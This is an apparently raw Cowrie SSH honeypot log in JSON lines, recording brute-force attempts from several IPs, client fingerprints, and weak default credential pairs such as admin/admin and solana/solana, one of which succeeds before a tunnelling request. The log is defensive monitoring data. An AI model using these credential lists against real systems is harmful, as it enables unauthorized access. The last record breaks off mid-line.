{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:04.962873Z","src_ip":"2.57.122.238","session":"7139f53dc47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:05.283977Z","src_ip":"2.57.122.238","session":"7139f53dc47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:06.392599Z","src_ip":"2.57.122.238","session":"7139f53dc47d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54740,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a28e075520","protocol":"ssh","message":"New connection: 159.203.92.129:54740 (159.203.135.109:22) [session: 26a28e075520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:41.367952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:41.376137Z","src_ip":"159.203.92.129","session":"26a28e075520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:41.381428Z","src_ip":"159.203.92.129","session":"26a28e075520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"CJX","password":"CJX","message":"login attempt [CJX/CJX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:41.391698Z","src_ip":"159.203.92.129","session":"26a28e075520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:42.398743Z","src_ip":"159.203.92.129","session":"26a28e075520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35664,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bb7375753fd","protocol":"ssh","message":"New connection: 37.143.61.84:35664 (159.203.135.109:22) [session: 5bb7375753fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:06.395016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:07.892380Z","src_ip":"37.143.61.84","session":"5bb7375753fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:10.488903Z","src_ip":"37.143.61.84","session":"5bb7375753fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:12.697529Z","src_ip":"37.143.61.84","session":"5bb7375753fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:13.791792Z","src_ip":"37.143.61.84","session":"5bb7375753fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59012,"dst_ip":"159.203.135.109","dst_port":22,"session":"0be6f6dc374b","protocol":"ssh","message":"New connection: 80.94.92.186:59012 (159.203.135.109:22) [session: 0be6f6dc374b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:14.032590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:14.425504Z","src_ip":"80.94.92.186","session":"0be6f6dc374b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:14.429187Z","src_ip":"80.94.92.186","session":"0be6f6dc374b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:15.365959Z","src_ip":"80.94.92.186","session":"0be6f6dc374b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:16.600282Z","src_ip":"80.94.92.186","session":"0be6f6dc374b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36466,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ca6bb40611c","protocol":"ssh","message":"New connection: 159.203.92.129:36466 (159.203.135.109:22) [session: 2ca6bb40611c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:26.567729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:26.573349Z","src_ip":"159.203.92.129","session":"2ca6bb40611c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:26.578203Z","src_ip":"159.203.92.129","session":"2ca6bb40611c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"CJX","password":"CJX123","message":"login attempt [CJX/CJX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:26.595150Z","src_ip":"159.203.92.129","session":"2ca6bb40611c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:27.602825Z","src_ip":"159.203.92.129","session":"2ca6bb40611c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27208,"dst_ip":"10.17.0.5","dst_port":22,"session":"a746f46ae223","protocol":"ssh","message":"New connection: 87.251.64.176:27208 (10.17.0.5:22) [session: a746f46ae223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:28.321898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:28.326981Z","src_ip":"87.251.64.176","session":"a746f46ae223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:28.425823Z","src_ip":"87.251.64.176","session":"a746f46ae223","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:28.716868Z","src_ip":"87.251.64.176","session":"a746f46ae223","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:28.816042Z","session":"a746f46ae223","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:28.915298Z","src_ip":"87.251.64.176","session":"a746f46ae223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:45:29.149823Z","src_ip":"87.251.64.176","session":"a746f46ae223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60434,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ab53add51b1","protocol":"ssh","message":"New connection: 159.203.92.129:60434 (159.203.135.109:22) [session: 7ab53add51b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:11.262355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:11.267389Z","src_ip":"159.203.92.129","session":"7ab53add51b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:11.272901Z","src_ip":"159.203.92.129","session":"7ab53add51b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"CM","password":"123456","message":"login attempt [CM/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:11.286321Z","src_ip":"159.203.92.129","session":"7ab53add51b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:12.321591Z","src_ip":"159.203.92.129","session":"7ab53add51b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41726,"dst_ip":"159.203.135.109","dst_port":22,"session":"7672ab5bb598","protocol":"ssh","message":"New connection: 2.57.122.238:41726 (159.203.135.109:22) [session: 7672ab5bb598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:24.682115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:24.687914Z","src_ip":"2.57.122.238","session":"7672ab5bb598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 